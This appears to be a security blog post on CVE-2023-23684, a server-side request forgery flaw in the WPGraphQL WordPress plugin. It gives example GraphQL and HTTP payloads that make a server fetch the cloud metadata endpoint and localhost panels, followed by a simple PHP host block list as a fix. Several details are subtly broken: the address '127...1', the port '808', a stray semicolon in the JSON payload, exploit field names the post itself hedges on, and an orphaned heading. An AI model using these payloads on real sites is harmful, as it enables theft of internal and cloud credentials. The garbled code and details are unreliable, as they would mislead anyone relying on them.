CVE-2023-23684 - Unpacking the WPGraphQL SSRF Vulnerability (From n/a through 1.14.5)

The WordPress ecosystem never sleeps—and neither do bad actors looking for vulnerable plugins. One such high-profile security problem is CVE-2023-23684, a Server-Side Request Forgery (SSRF) flaw lurking in older versions of the popular WPGraphQL plugin. If you’re running WPGraphQL version 1.14.5 or below, you’ll want to pay close attention.

This article is an exclusive deep-dive into what the issue is, how exploitation works, and—most importantly—how to fix it.

What is WPGraphQL? Why Should You Care?

WPGraphQL is one of the best-known GraphQL API plugins for WordPress. It exposes a GraphQL endpoint, allowing developers to fetch, update, or delete content in more modern ways than traditional REST APIs.

However, with great power comes great responsibility. Sometimes features enable risks if not tightly controlled—and that’s what happened here.

CVE-2023-23684: Where’s the Hole?

This vulnerability affects WPGraphQL from not available (n/a) up to and including 1.14.5.

The plugin had a feature allowing users to fetch remote data over the network, such as downloading remote files. WPGraphQL did not correctly check or limit the URLs that users could request. That means attackers could supply any URL—including local network or cloud metadata IPs.

In Other Words…

An attacker could send a carefully crafted GraphQL query making the WordPress backend call any URL, such as:

- Internal admin panels (http://localhost:808/admin)
- Cloud data endpoints (http://169.254.169.254/latest/meta-data/)

Exploit Example — How Bad Actors Can Abuse This

Here’s a sample vulnerable GraphQL query you might use against a site with a vulnerable WPGraphQL plugin:

query SSRFExploit {
  contentNode(id: "some_id", idType: DATABASE_ID) {
    preview {
      remoteFile(url: "http://169.254.169.254/latest/meta-data/")
    }
  }
}

Or more generally, depending on WPGraphQL schema customization, you might see something like

POST /graphql HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/json

{
  "query": "query { fetchRemoteFile(url: \"http://localhost:808/secret-panel\";) { status, content } }"
}

If the plugin doesn’t sanitize or restrict the URL, the WordPress server will send a request wherever the attacker likes and potentially return sensitive information in the response.

Who Reported It & Where Is It Documented?

- Original Advisory: WPScan: CVE-2023-23684
- NVD CVE Entry: NIST NVD: CVE-2023-23684
- Plugin Patch: WPGraphQL changelog 1.14.6

Violate data privacy

If your site processes payment info, hosts private customer data, or is on a cloud provider, you must patch this.


## Fixing/Preventing The Exploit

The WPGraphQL maintainers quickly moved to patch the issue in 1.14.6 by setting strict validation and blocking requests to internal/risky addresses.

How To Protect Yourself

- Update WPGraphQL now to the latest version (Download here).

Here’s a simple example (using PHP) to deny local/internal URLs

function is_safe_url($url) {
    $parsed = parse_url($url);
    $blocked = ['localhost', '127...1', '::1', '169.254.169.254'];
    return !in_array($parsed['host'], $blocked);
}

Final Thoughts

CVE-2023-23684 is a textbook example of why input validation is essential—even in APIs meant to make development easier. If you’re running WPGraphQL, update now and check any custom code for similar logic.

References

- WPScan listing
- NVD CVE-2023-23684
- WPGraphQL Changelog

If you found this post useful, share it with your WordPress admin friends—let’s keep the internet a little bit safer.

Timeline

Published on: 11/13/2023 03:15:07 UTC
Last modified on: 11/13/2023 03:16:20 UTC